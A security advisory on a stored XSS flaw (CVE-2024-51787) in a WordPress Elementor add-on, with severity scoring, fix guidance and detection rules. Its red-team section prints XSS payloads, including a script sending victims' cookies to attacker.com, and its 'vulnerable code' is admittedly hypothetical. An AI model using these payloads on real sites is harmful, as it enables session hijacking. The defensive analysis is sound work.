CVE-2024-51787

Executive Summary

CVE-2024-51787 is a Stored Cross-Site Scripting (XSS) vulnerability in the Quomodosoft ElementsReady Addons for Elementor WordPress plugin, affecting versions up to and including 6.4.3. This flaw allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into pages, which execute when other users (including administrators) view the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the widespread use of Elementor page builder plugins, this poses a significant risk to WordPress sites, potentially leading to session hijacking, defacement, or malware distribution.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are at risk. No official patch has been released as of the analysis date. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level WordPress user)
• User Interaction: Required (Victim must visit the compromised page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity reflects the need for authenticated access and user interaction, but the potential for stored XSS in a widely-used page builder plugin elevates the real-world risk.

Deep Dive & Mechanics

The vulnerability exists in the element-ready-lite plugin's handling of user input within Elementor widgets. The plugin fails to sanitize or escape output when rendering user-supplied data (e.g., widget titles, descriptions, or custom attributes). An attacker with contributor-level access can craft a malicious payload (e.g., <script>alert('XSS')</script>) within a widget field. When the page is saved and subsequently viewed by another user, the payload executes in the context of the victim's browser.

The root cause is the use of echo or the_content filters without proper escaping functions like esc_html() or wp_kses_post(). The plugin likely outputs raw data from database fields without validation.

Vulnerable vs. Patched Code

Since no official patch is available, the following illustrates the vulnerable pattern and a potential fix.

Vulnerable Code (hypothetical example from plugin):

<?php
// In a widget render method
echo $settings['widget_title']; // No escaping
?>

Patched Code (recommended fix):

<?php
// Properly escape output
echo esc_html( $settings['widget_title'] );
?>

The patched version would use WordPress's built-in escaping functions to neutralize any HTML or JavaScript before rendering.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with ElementsReady Addons for Elementor <= 6.4.3
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create or edit a page using Elementor.
3. Add an ElementsReady widget (e.g., "Heading" or "Testimonial").
4. In a text field (e.g., "Title"), inject the payload:

   <img src=x onerror=alert('XSS')>
   

5. Save and publish the page.
6. When an admin or other user views the page, the script executes.

Advanced Payload (session hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor for unusual widget content containing <script>, <img onerror>, or onload attributes.
• Review WordPress user activity logs for suspicious page edits by low-privilege users.
• Use the detection rules below.

Mitigation:

• Disable the plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in POST requests to wp-admin/admin-ajax.php.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/element-ready-lite/ (presence of vulnerable version)
• Database: Rows in wp_postmeta containing meta_key like _elementor_data with base64-encoded payloads.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug log entries showing unexpected script execution errors.

Detection Engineering

YARA Rule

rule Detect_ElementsReady_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads in ElementsReady plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51787"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]+onerror\s*=/is
        $xss3 = /<svg[^>]+onload\s*=/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS via ElementsReady Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in WordPress ElementsReady plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        sc-status: 200
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51787 Stored XSS Payload in ElementsReady"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the element-ready-lite plugin until a patched version is released.
2. Workaround: If disabling is not possible, restrict contributor-level access and implement a WAF rule to block XSS patterns.
3. Long-term: Monitor the plugin's official page for updates. Apply the patch as soon as it becomes available.
4. Hardening: Ensure all WordPress plugins and themes are kept up-to-date. Use a security plugin (e.g., Wordfence) to add an extra layer of protection.

Valters IT
Securing Digital Frontiers